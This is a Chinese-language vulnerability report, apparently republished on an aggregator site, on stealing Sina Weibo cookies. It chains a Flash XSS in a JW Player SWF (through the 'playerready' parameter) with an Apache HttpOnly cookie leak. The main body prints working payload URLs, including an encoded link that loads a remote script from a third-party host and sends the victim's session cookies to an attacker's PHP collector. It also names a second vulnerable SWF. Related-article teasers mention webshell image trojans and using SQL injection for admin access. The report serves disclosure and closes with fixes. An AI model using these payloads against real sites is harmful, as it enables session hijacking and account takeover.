新浪微博Cookie泄露:Flash与Apache漏洞利用
最近发现一个有点意思的问题:不少FLASH开发人员在写代码的时候,对安全这块儿似乎没那么上心。一旦被恶意利用,后果可大可小——URL跳转、COOKIES盗取,甚至蠕虫攻击都可能搞得出来。测试了IE、Firefox、Chrome几个浏览器,Chrome那边输入测试代码直接崩溃了,有点刺激。 漏洞成因
最近发现一个有点意思的问题:不少FLASH开发人员在写代码的时候,对安全这块儿似乎没那么上心。一旦被恶意利用,后果可大可小——URL跳转、COOKIES盗取,甚至蠕虫攻击都可能搞得出来。
测试了IE、Firefox、Chrome几个浏览器,Chrome那边输入测试代码直接崩溃了,有点刺激。
漏洞成因
先说FLASH编程的安全问题。不少开发者对loaderInfo.parameters传入的参数几乎不做过滤,更有甚者,习惯直接把Ja vaScript函数名作为参数传进去。事实证明,新浪的开发人员也有类似的习惯。
先Google一下 inurl:(swf) site:weibo.com,把搜到的SWF全下载下来,用ASV全部反编译,得到一堆txt文件,每个Flash对应一个。
漏洞利用需要两个条件:有parameters,有ExternalInterface.call。拿这两个关键词去搜刚才的txt文件。
最终锁定一个目标:http://tw.weibo.com/_common/jwplayer/player.swf
漏洞源码大致如下:
//加载外部参数
this.loadFlashvars(RootReference.root.loaderInfo.parameters);
//写入参数
this.setConfigParam(param, params[param]);
//继续,可以看到参数写到了_config 里
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.trim(_arg2));
//再搜索ExternalInterface.call,找到以下位置
var callbacks:* = (_player.config.playerready) ? ((_player.config.playerready + ",") + "playerReady") : "playerReady";
if (ExternalInterface.a vailable){
for each (callback in callbacks.replace(/\s/, "").split(",")) {
try {
ExternalInterface.call(callback, {id:evt.id, client:evt.client, version:evt.version});
} catch(e:Error) {
};
};
clearQueuedEvents();
};
//可以看出call<--callback<--callbacks<---_player.config.playerready
基于以上分析,构造利用代码非常直接:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){alert('xxx');})
但这样的代码还不足以构成真正威胁,顶多算个URL跳转。连cookies都拿不到,试试下面这个:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){try{alert(document.cookie)}catch(e){alert(e.description)}})
返回的是「拒绝访问」错误。
突破限制,获取cookies。正好昨天在百度Ja vaScript吧看到一篇帖子,讲href、src的妙用,拿来突破这种限制正好。利用那篇文章中的技巧,构造以下代码:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='ja vascript:""'})
从上面可以看出,成功弹出了weibo.com的cookies。但拿着这个cookies去发微博时发现不行。对比了一下获取的cookies,发现SUS、SUE两个值是http-only的,也就是document.cookie根本拿不到。
前些天看到有人发腾讯的Apache cookie泄漏漏洞,结果因为没有利用场景被忽略了。看了看tw.weibo.com的HTTP头,正好是Apache,这里可以试试用一用。从exploit-db下载了利用的JS,做了点小修改,保存为test3.js(放在appmaker.sinaapp.com上)。
构造利用代码,调用这个JS文件,代码中的test.php是接收cookies的文件:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='ja vascript:""'})
编码一下,可以发到微博:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function()%7Blocation.href%3D'ja vascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest3.js%5C'%3E%3C%2Fscript%3E%22'%7D)
结果证实该服务器存在Apache cookies泄漏漏洞,具体效果见漏洞证明。
总结
1. FLASH编写安全不容忽视。实际上,找了10多个FLASH,其中就有2个可以被利用。这说明此类漏洞不是偶然,而是被开发者普遍忽略的一个问题。另外有一个不在weibo.com域名下:http://js.t.sinajs.cn/t4/home/static/swf/img/SinaCollage.swf?JSHandler=(function(){alert('xxx')}),一起修复一下吧。
2. 本流程为Apache cookies泄漏漏洞提供了一个利用场景。
漏洞证明
1. 微博写入链接:
![新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]](/uploadfile/2026/0724/a6027f552e0e7704696508e9a8ae249e.webp)
2. 点击链接后,抓包,见图:
A. Apache cookies泄漏图,其中包含document.cookie无法获取到的SUS、SUE:![新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]](/uploadfile/2026/0724/d866e236889b9b901b330eaba7f34cc7.webp)
B. 可以看到Cookies被转发到我们指定的PHP文件中:![新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]](/uploadfile/2026/0724/e6e8e24b233e447caaebc564415c350d.webp)
3. 利用Cookies在SAE发送微博失败,提示「抱歉,你当前使用的账号、IP或应用由于违反了新浪微博的安全检测规则,暂时无法完成此操作啦。你可以绑定手机来取消此限制,如有问题@微博客服反馈。」——可能做了某些其他限制。
修复方案
1. 审查已上线的FLASH文件代码,严格控制FLASH文件参数的输入。
2. Apache的漏洞请打补丁。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
零基础Python网络安全学习指南,包住宿实战培训
先抛出几个核心判断:网络安全人才缺口确实已经超过70万。这个数字不算夸张,各大招聘网站上安全岗位的薪资涨幅和需求增长都是实实在在的。但实话实说,行业真正缺的是能上手干活的人,不是只懂几个理论概念的新手。因此,一套扎实且成体系的训练方案,对于零基础转行或进阶提升就显得格外关键。 从零基础到能够独立应对
网络安全定义与核心概念详解
谈到网络安全,不同组织与标准体系对其定义虽有差异,但核心目标高度统一:保护信息与系统不受威胁侵害。以下梳理几种主流定义—— 什么是网络安全? 国际标准化组织(ISO)在ISO-74982文献中将安全定义为:最大程度地降低数据和资源遭受攻击的可能性。该定义虽简短,却精准点出安全的本质——即风险控制。
IIS 7.0网站漏洞利用与修复方法指南
先来聊聊当前网络安全领域比较流行的一种实战技巧——以PHP环境为例,详细讲解图片马合并与解析漏洞利用的具体操作步骤。整个过程并不复杂,但细节往往决定成败,大家跟着流程逐步操作即可。 合并一张PHP一句话图片马 首先,我们需要将一句话木马脚本与一张正常图片合并,生成一个看似无害的图片文件。合并方式主要
织梦管理系统后台查找功能教程
通过SQL注入漏洞获取织梦CMS(DedeCMS)管理员密码后,满怀期待地准备进入后台,却发现怎么也找不到登录入口——这种情况其实相当常见。别着急,这里有一个实用的技巧值得尝试。 直接在网站地址后面添加以下路径: include dialog select_media php?f=form1 mur
微软IE浏览器BrowseDialog类(ccrpbds6.dll)拒绝服务安全漏洞深度分析
BrowseDialog Class (ccrpbds6 dll) 导致 Internet Explorer 拒绝服务漏洞分析 该漏洞的PoC(概念验证代码)实现极为直接——触发浏览器崩溃的条件简单得令人意外。测试环境采用Windows XP Professional SP2(已安装全部补丁)并运行
- 热门数据榜
相关攻略
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:28
2026-07-25 22:10
2026-07-25 22:10
2026-07-25 22:10
2026-07-25 22:10
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

